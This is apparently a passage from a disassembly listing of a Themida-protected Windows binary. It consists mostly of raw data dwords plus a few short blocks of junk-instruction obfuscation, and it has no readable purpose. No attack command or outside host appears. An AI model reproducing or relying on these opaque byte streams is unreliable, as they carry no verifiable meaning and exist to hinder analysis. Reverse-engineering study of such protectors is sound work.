		dd 0BA0A36BFh, 181BC1CDh, 77D0577Bh, 1FEAFF6h, 8A35502Fh
		dd 0CC19934Dh, 5FAEF2E8h, 94B37D1Eh, 6ADFFB30h,	73DC2F6Dh
		dd 3F120FEBh, 3E8C7822h, 0CD4CF3B9h, 0DCCFEB6Ch, 7C4D3AB8h
		dd 19981BAEh, 0DCCFBFB0h, 401956B8h, 0B8DCCF0Fh, 115069C6h
		dd 185BA2E8h, 624CDFDDh, 39BE0CF8h, 0CD3A8079h,	317760C1h
		dd 38BEAh, 0A7B30000h, 2C686E9Dh, 5B6196D9h, 575B81C0h
		dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h
		dd 8307CF76h
		db 78h,	0F2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	5B4Fh
		mov	[esp], eax
		push	2658h
		mov	[esp], ecx
		push	edi
		mov	edi, 5E5F5FDh
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	eax
		sub	dword ptr [esp], 5CA016CFh
		pop	ebp
		add	ebp, 5CA016CFh
		mov	[ecx+8], ebp
		pop	ebp
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		dd 0FA1FB874h, 0C50305E5h, 3D97E0FFh, 39D5783h,	6B9B4E4Fh
		dd 72D0416h, 0AC0C7E57h, 60BD59A5h, 2F7F42C5h, 401644FCh
		dd 0AC177F39h, 0BFA14BAEh, 59256DC5h, 0EF674B62h, 0C18B75CFh
		dd 0C21BD23h, 4EB05E2h,	0
		dd 68E0Fh, 0BD8B0000h, 5E20A45h, 0EE9h,	9CFC0900h, 3223CD6Ah
		dd 8258FEC0h, 8DA4DF18h, 0E20E9185h, 0B58B6005h, 5E22969h
		dd 9061E88Ah, 0AE8h, 5C6BCB00h,	0A15C3A20h, 0E879223Ch
		dd 0Bh,	0BD2366A0h, 761E017Ch, 0BF5721FBh, 5023DDE1h, 0BE505E5Fh
		dd 416C9255h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 4A2CDF90h, 78EAA00Ah, 0B1BD8B5Ah
		dd 6A05E21Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0FBC2688h, 6AF0BFh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 77C35545h, 6858D19h
		dd 0F05E5FDh, 68Bh, 0F1BD2300h,	8305E215h, 6A05C0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 9EFAA4C3h, 8B545A0Fh, 0E21099BDh, 8B665005h,	240489F1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FBC35141h
		dd 1C05081Eh, 66CED5D2h, 0F7BF0F71h, 6AF28Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 29C35040h, 9C036305h
		dd 1B523A3h, 8B05E21Ch,	89006AF1h, 0E20F8DBDh, 2D95FF05h
		dd 6A05E21Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0AE4FC352h, 0A2AF6B2Ch, 0BEA6C9C9h
		dd 6349EEC3h, 9D809D8Dh, 6A05E5h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 5EDC97C3h, 0F38BD5C2h
		dd 24FD8D89h, 0D3FF05E2h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0EFC35040h, 0DA3B5748h, 438285E7h, 4D98529h
		dd 85FF05E2h, 5E22329h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 76C35242h, 0FE871015h, 8EAE9FCh, 0E80000h
		dd 5D000000h, 0FD10ED81h, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 70A8BC3h, 56A0866Ah
		dd 811E9869h, 10C2F9DEh, 21BD8173h, 0D005E221h,	0F000007h
		dd 16F86h, 0C0D78100h, 8B425C26h, 0E209F99Dh, 1DB58905h
		dd 8105E206h, 100E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0E7A1D07h, 0B52B0AB7h
		dd 5E204FDh, 0DB0BF08Bh, 97850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 7175EAC3h
		dd 0E9BD83A8h, 5E5FAh, 4C840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0CBB785C3h
		dd 0CFFFD56Dh, 79E9h, 14E800h, 4B2B0000h, 51A2A700h, 763AD26Bh
		dd 0E606E6FFh, 4118CEFh, 6E9C904h, 0FA000000h, 0FAC78DA9h
		dd 85C75E5Fh, 5E5FAE9h,	1, 39BDBF66h, 0CE816660h, 0FDBBB469h
		dd 61690207h, 35E9h, 0E985C700h, 5E5FAh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 8187C355h, 92A92901h, 0BF668F99h, 0BF669F65h, 9D8D11DDh
		dd 5E209F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	52C35040h, 85E87888h, 423DF6Dh,	0FF23813Eh, 6AFFFFFEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0C86CC350h, 0CA8D2A7Dh, 718B72BFh, 9DE9BF66h
		dd 6ADB8C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 909C357h, 8B4A35BCh, 0E209CDB5h
		dd 4C3F605h, 80840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0ECDF50C3h, 0BD23A67Ch
		dd 5E21CD5h, 0B99D8960h, 0E905E215h, 10h, 79AA48ECh, 1933E23h
		dd 1E6E764Bh, 0D2965205h, 2195FF61h, 6A05E216h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 1A93C350h, 0B58B3379h, 5E20829h, 170BBF50h, 489371Ch
		dd 38A0F24h, 66000000h,	48E9FB8Bh, 6A000004h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0D488C350h, 6195293Ch, 0B005E221h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 53F8C9B3h, 629A02BFh, 70E65F47h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0F3C35343h,	65D7C4E7h, 81CF65A6h
		dd 0FFBF0FB9h, 6A71E4h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 740D47C3h, 852902C4h, 5E22AF5h
		dd 24BDBD8Bh, 0B60F05E2h, 0DF8166D8h, 6BA36E2h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 884C355h,	1BFDBD8Bh, 806005E2h, 0BD89F4E7h
		dd 5E21F91h, 0C1C38B61h, 6A04E8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0BDBC51C3h, 12C484AFh
		dd 0E985FEB7h, 8, 4A9D54A9h, 0C9B33A11h, 6AE2F766h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 6191C355h, 0FC297AF6h, 1B9B58Bh, 0D82B05E2h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D7C35141h, 29C187F9h
		dd 71207969h, 4880Fh, 0BF660000h, 5093E0FAh, 8B93505Eh
		dd 0E21DDDBDh, 21B5FF05h, 6A05E221h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 72A6C356h
		dd 55662A8Ch, 3D858969h, 0FF05E21Fh, 0E20AB995h, 6F7FBF05h
		dd 0B07782h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	8BC35141h, 0EE9h, 845E4600h, 715C6AC5h,	395FA191h
		dd 0E62D5FF5h, 53006A70h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0EE986h, 0FB100000h, 0D59D81CBh
		dd 47733F2Fh, 0CB53AF02h, 880Fh, 71E40000h, 113838BFh
		dd 0F613C46h, 21E83h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 879EC231h, 26BAC4ECh
		dd 0D8B60FF8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	70C35646h, 0C6D9A02Fh, 58729AFDh, 0C35E3DBEh, 6BA5Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0DCD3B3C3h, 8BF88EBAh, 57006AC3h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0EF801AA8h
		dd 0B21BD2Bh, 0E8C105E2h, 76BE6604h, 0E2F76613h, 0EB1B523h
		dd 0D82B05E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	2C35646h, 0D577E76Ch, 0F9FAB70Fh, 52006A58h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 4148A94Fh, 0BD8BA85Bh, 5E22C05h, 880FD82Bh, 11Bh, 5E8h
		dd 59FAE00h, 0BD8BF1D9h, 5E2243Dh, 7B95Eh, 6E90000h, 0AA000000h
		dd 0E49B8E58h, 0C183CFh, 4D18D31h, 0D93B05E2h, 0E9860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0BD4696C3h, 0AD506A61h, 85094515h, 5E20FF1h
		dd 60D98C66h, 1ABE980h,	0E20AC1B5h, 6E96105h, 6F000000h
		dd 1A71D720h, 4C1F60Fh,	96840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B58B6DC3h
		dd 5E20A89h, 2D79B58Bh,	95FF05E2h, 5E21621h, 1A58D89h
		dd 815B05E2h, 0FE8AF3CFh, 6AC32B49h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2FA2C355h
		dd 0D2808702h, 343D90B1h, 0F000008h, 2B86h, 2CE9FC00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 351BC351h, 0C4E16D5Fh,	7E474F19h
		dd 8166C08Bh, 8BDEAAC7h, 6AD88BC3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0A1DEC356h
		dd 0C56EFF2Eh, 803D51BCh, 2BD5B58Bh, 85C705E2h,	5E20B5Dh
		dd 19C1D993h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	40C35646h, 0CF8B6660h, 3D68BE66h, 0E8C08B61h, 0Fh
		dd 0B91CDA6Eh, 0FA1377B5h, 0CBCFCF13h, 0FAE1265h, 280h
		dd 5F616000h, 2121BD81h, 7D005E2h, 850F0000h, 53h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0C2C35040h, 56F36A82h
		dd 8D95894Ah, 0FF05E21Ah, 0E2212185h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 4170028Eh, 72BF4833h, 0FF6A3AD2h, 0E22121B5h, 8D8B6005h
		dd 5E2157Dh, 0A832BF66h, 0B995FF61h, 6A05E20Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 8ECFC355h, 0C6816620h, 6A90B7F3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 22ECC353h
		dd 6AF88B66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0FC38C353h, 1E71BD8Bh,	0BF6605E2h
		dd 8166C707h, 8193E9D6h, 37A1B5EEh, 0B70F5326h,	95295FFFh
		dd 5E221F1h, 6AFB8Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 42DD6DC3h, 41B58B44h, 8B05E215h
		dd 0E22679BDh, 0F08B6605h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0D1C35141h, 26BEFFFEh, 8850F9Ah, 50000000h
		dd 11858D89h, 6A5E05E2h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0F6D3C355h,	89515C34h
		dd 0E20A2D95h, 0FABF5E05h, 0E930D2D8h, 14h, 0F8876A9Eh
		dd 0DAC82303h, 0B8A45F76h, 0BD7484DFh, 9665657h, 0FFF729E9h
		dd 0F38B66FFh, 0BE9h, 8A71E700h, 90376B74h, 0CF4ABBB8h
		dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 958943C3h, 5E20589h, 0BDC9D6BEh, 4EB53h
		dd 0E8000000h, 0Ah, 0DDA9AA98h,	8D73EDA6h, 0B531CC79h
		dd 5E21411h, 0C5B58B5Eh, 0E805E22Ah, 12h, 0BE252EE7h, 1001368Ch
		dd 0ACD05A53h, 23256574h, 14E975CAh, 42000000h,	952D5A2Eh
		dd 558C7396h, 79CEBE57h, 558855CFh, 5F9B9C5Bh, 0E91858Dh
		dd 81F805E2h, 72F58F6h,	5250901Eh, 0F88B6650h, 5A310F5Fh
		dd 7FBE5058h, 90564A50h, 16F5B58Bh, 6A05E2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 6AC35343h, 772FDD28h
		dd 8936A40Dh, 8D006AADh, 0E6077185h, 29BD8B05h,	5305E216h
		dd 5C0835Eh, 50F7BF0Fh,	830Fh, 4890000h, 1DD78124h, 6A3EACACh
		dd 68C0F00h, 23000000h,	0E22619BDh, 3006A05h, 0E2185DBDh
		dd 2D95FF05h, 8905E21Eh, 0E2118595h, 809D8D05h,	6A05E59Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0D766C355h, 0C0353A7h, 74D781BBh,	8B72E93Bh
		dd 0E21C89BDh, 81D3FF05h, 0E6C756C7h, 2985FF0Ah, 6A05E223h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0E32DC356h, 636C9E99h, 60389618h,	61F7B70Fh
		dd 871E9h, 0E800h, 815D0000h, 0E6077BEDh, 21BD8905h, 8105E205h
		dd 0E22121BDh, 7D005h, 9C860F00h, 8B000001h, 0E21439BDh
		dd 0DD9D8B05h, 6A05E21Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 309BC352h, 0E38139h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 58D8C351h, 850FDB0Bh, 0C7h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E8C35242h, 8BA1A9E6h
		dd 0E20835BDh, 89BF6605h, 0B50B5013h, 5E20B9Dh,	20BD835Fh
		dd 5E606h, 28840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 905609C3h, 10E1CC1h
		dd 81E9B8h, 85C70000h, 5E60620h, 1, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0F5C35545h,	5EE56CC8h, 0A5D78166h
		dd 4DE9A3h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0CD1107C3h, 8B4F9AD8h, 0E20A19B5h
		dd 2FEF8105h, 0C712C868h, 0E6062085h, 5, 11E900h, 0E93B0000h
		dd 0F9EA2305h, 5BF2861Ch, 1635E023h, 8D83FE8Dh,	0E21CDD9Dh
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0E3458F0h, 788B1B09h, 0BD8B3395h, 5E22AB9h
		dd 47D8D29h, 238105E2h,	0FFFFFEFFh, 11E8h, 8F48B700h, 0C52CF095h
		dd 0B3303502h, 0BE9E5B5Fh, 8A0F3AB7h, 6, 870Fh,	665F0000h
		dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 8D0199C3h, 5E21CA5h, 898D8952h, 5E05E21Eh
		dd 0F04C3F6h, 7784h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 66BCD393h, 470DDF81h
		dd 162195FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 758173C3h, 89349CE6h, 0E207AD85h
		dd 60505005h, 11E8h, 0E754AB00h, 552BB12Fh, 59C8D9Ch, 93BB7F78h
		dd 605A9CCCh, 895F6161h, 85892404h, 5E219F9h, 42DE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0B7498BAAh, 8B587F5Fh, 0E215E9B5h, 21B58B05h, 0B005E21Dh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0EAC50400h, 0E9B53AABh, 0Fh, 132B47F2h
		dd 8E98F92Eh, 0E844CCDBh, 0E6F9FA91h, 55006A70h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0E543D388h, 9D89528Bh, 5E22341h, 6A71E4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 546308C3h
		dd 1845A1Fh, 0FF08B66h,	6AD8B6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0E7FF7DC3h, 7430A050h
		dd 0F943A2D9h, 6BAh, 0A66EBF00h, 0C38B1032h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A6C35242h
		dd 0B543232Ch, 75BF4339h, 0C11FD8B1h, 852904E8h, 5E20EA5h
		dd 3D8D8B60h, 8905E231h, 0E20825BDh, 0F7666105h, 0CE8E2h
		dd 0AECD0000h, 6E7F85C2h, 4467CA45h, 0FE8BEC25h, 81D82B5Eh
		dd 1369E0EEh, 66605027h, 0E0BAD08Bh, 614CE46Ch,	6A241C89h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 2736C352h, 0E803F91Bh, 10h, 6DD392EBh, 7146120Dh
		dd 2D2B69DBh, 5497CCDCh, 0E4DBD8Bh, 0FF5F05E2h,	0E22121B5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 3B035060h, 6830Fh, 85890000h, 5E219E9h
		dd 0AB995FFh, 0B005E2h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 55C35646h, 2C4B2726h,	0A75B3616h, 0F606057h
		dd 9D09DBBFh, 5E20A95h,	79B53161h, 6105E22Dh, 0BD0370E6h
		dd 5E20941h, 0F68171E4h, 76AA6C3Fh, 830F613Ch, 212h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 7EC35040h, 11633322h
		dd 441FFEF1h, 18D99D31h, 0B60F05E2h, 0FE8B66D8h, 6BAh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 88D96AF0h, 0CE791F89h, 17C1B50Bh, 0C38B05E2h
		dd 32EDBD8Bh, 0E8C105E2h, 0E2F76604h, 13E8h, 8893F700h
		dd 666597B3h, 37C6439Eh, 0BBA26105h, 0C68C6E94h, 2BDD8501h
		dd 2B5F05E2h, 18B0FD8h,	0F8000000h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0B0F8CE8Fh
		dd 8060306Eh, 958B12D8h, 5E20035h, 0B59D8961h, 2B05E21Fh
		dd 43880FD8h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0D227C352h,	9D0983BEh
		dd 5E20D95h, 7B9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0B2DC8BCh, 83BB8DD5h
		dd 6A00C1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0B58BC0C3h, 5E20BB1h, 2C1D9D89h, 0D93B05E2h
		dd 0C4860Fh, 95290000h,	5E22129h, 29D98C66h, 0E216A995h
		dd 4C1F605h, 0A6840Fh, 0DE90000h, 0ED000000h, 573E7FD5h
		dd 81B1E5A1h, 3BDE090Bh, 162195FFh, 6A05E2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8B71C3h
		dd 5E21D4Dh, 5FBE665Bh,	6AC32B92h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 6A0EC350h
		dd 95892D57h, 5E218C9h,	8343Dh,	35860F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 72ACC352h, 0D7E3C36Ah, 0E9FA393Ah, 12h, 68B0Fh, 95290000h
		dd 5E2212Dh, 0BF66C08Bh, 0C38BC3C9h, 0EE8D88Bh,	46000000h
		dd 6C1F562Eh, 2500D9F2h, 529341D0h, 0F78166E4h,	815EB600h
		dd 346544DFh, 0F985C72Bh, 3705E209h, 93E40D5h, 0E2144585h
		dd 6AC08B05h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0BE43C350h, 530143ACh,	63CE8166h
		dd 21BD81E5h, 0D005E221h, 0F000007h, 3E85h, 0E4B1BE00h
		dd 860F5F3Dh, 6, 811BD03h, 85FF05E2h, 5E22121h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 73C35242h, 0A2F699CBh
		dd 9DBD8BCAh, 0FF05E215h, 0E22121B5h, 0B58B5605h, 5E20B75h
		dd 21D9BF5Fh, 95FF7359h, 5E20AB9h, 2659BD8Bh, 0E89005E2h
		dd 10h,	92CF2037h, 4E1BC64Fh, 6398945Dh, 754F17E4h, 5B9BD8Bh
		dd 535E05E2h, 41B529F8h, 5E05E207h, 68C0Fh, 0BD030000h
		dd 5E217C1h, 51C68166h,	68F0F0Dh, 81000000h, 14EC0CEEh
		dd 51006A71h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 57006A81h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0E99D8966h, 0BE05E22Bh
		dd 0AC46E3Fh, 860F5F51h, 18h, 2D8D0950h, 5F05E222h, 0BED18160h
		dd 6614FC97h, 80BFD18Bh, 613B985Eh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 5C35141h, 0BFCDC5F9h, 3EBE85A9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 81C35747h
		dd 43C30A7Fh, 0F2C4C95h, 8D89F3B7h, 5E22335h, 16C1B501h
		dd 816605E2h, 0E93D7ADEh, 0FFFFF795h, 22BDB58Bh, 0C18B05E2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 79C35242h
		dd 0DD3B30CDh, 8C565DB0h, 0D6DF8157h, 5E6E1476h, 4EBh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 7636BBC3h, 6AC3A3h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8D85DBC3h, 0E20E9185h
		dd 0BE905h, 0B9550000h,	281B98DCh, 0C641AD04h, 10E89095h
		dd 0C9000000h, 0B57F3250h, 669A895Dh, 0E4A52A05h, 66906A21h
		dd 5EB60FBEh, 8B666050h, 6A9061DEh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 5A6DC351h
		dd 8B27042Ah, 0E22C91BDh, 6A006A05h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 598FC357h
		dd 82346C09h, 0E9FE295Ch, 7, 6629F4CFh,	8B29982Ah, 0E22649B5h
		dd 0F9006A05h, 1268858Dh, 11E805E6h, 3C000000h,	7AD82DAFh
		dd 2730CBBh, 96F13923h,	0E6F70BF7h, 4B63BF66h, 5C0835Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 69C35242h
		dd 618DCB97h, 0E85DCE9Ah, 12h, 8E71C3C0h, 2E9ECBB2h, 2AE61B9Eh
		dd 0EECDF718h, 830F14D9h, 6, 8E0Fh, 505F0000h, 0F18B5250h
		dd 4895E5Fh, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0B06DFC88h, 270F81CDh, 0DF81F8AAh
		dd 11D3B927h, 0B25B533h, 6A05E2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 44C35646h, 0D7C37E2Bh, 3438351Ah
		dd 0CE92Eh, 54080000h, 0B9F04862h, 56E72521h, 6A8376h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0E5C35747h
		dd 96550573h, 89D41733h, 0E21C75BDh, 2D95FF05h,	0F05E21Eh
		dd 48Fh, 18BF6600h, 809D8D8Eh, 6A05E59Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2B0BC355h
		dd 0C2CEB977h, 8957A365h, 0E21A61B5h, 0D3FF5F05h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 2DC35747h, 14FDF02Ch
		dd 0FFFEF42Eh, 0E2232985h, 0E9F88B05h, 863h
dword_52EF24	dd 0E8h, 0ED815D00h, 5E61272h, 0E851006Ah, 3, 59C35920h
					; DATA XREF: Themida_:004EF718o
		dd 4244C89h, 4244481h, 14h, 0AFC35141h,	8DCF8166h, 21BD81ACh
		dd 0D005E221h, 0F000007h, 18A86h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 95A8252h, 0BD0B29EFh
		dd 5E21889h, 0DD9D8Bh, 6A05E2h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0CF4535C3h, 71E796E1h
		dd 0E3818Ah, 6A000001h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0CE52C355h,	3261BD09h
		dd 13E905E2h, 0D1000000h, 0AD4D6739h, 55DEDB30h, 2220B451h
		dd 94F822B5h, 0DB0B4CF5h, 0A2850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E8642DC3h
		dd 14h,	38574F29h, 3B5112A6h, 0BC50F30Ch, 5AD161B2h, 0A161E206h
		dd 17BD835Fh, 5E610h, 31840Fh, 870F0000h, 1, 67E9F9h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 21556EC3h, 0B5B531A9h, 0C705E219h, 0E6101785h, 105h
		dd 33E900h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 0C2B5C2C3h, 101785C7h, 5E6h, 5ABF0000h
		dd 89138106h, 0E213998Dh, 0DD9D8D05h, 6A05E200h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0A636C357h, 0D14C56BFh, 81B58B55h, 8105E20Fh, 0FFFEFF23h
		dd 49B589FFh, 6605E207h, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 8B1488C3h, 0FCE1F583h
		dd 90DBD89h, 0C3F605E2h, 19840F04h, 0BE000000h,	6D742B5h
		dd 95FFFE8Bh, 5E21621h,	57E1D681h, 89502F90h, 0F28B2404h
		dd 438E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 7C09C9E2h, 664A89ADh, 0E52DEF81h
		dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 70E608C3h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 0EEC35040h, 0B77CEBEDh, 1B50338h, 0F05E21Eh
		dd 8Ah,	8B71E400h, 0E203FDB5h, 0D8B60F05h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 28C35141h, 0F2717ECh
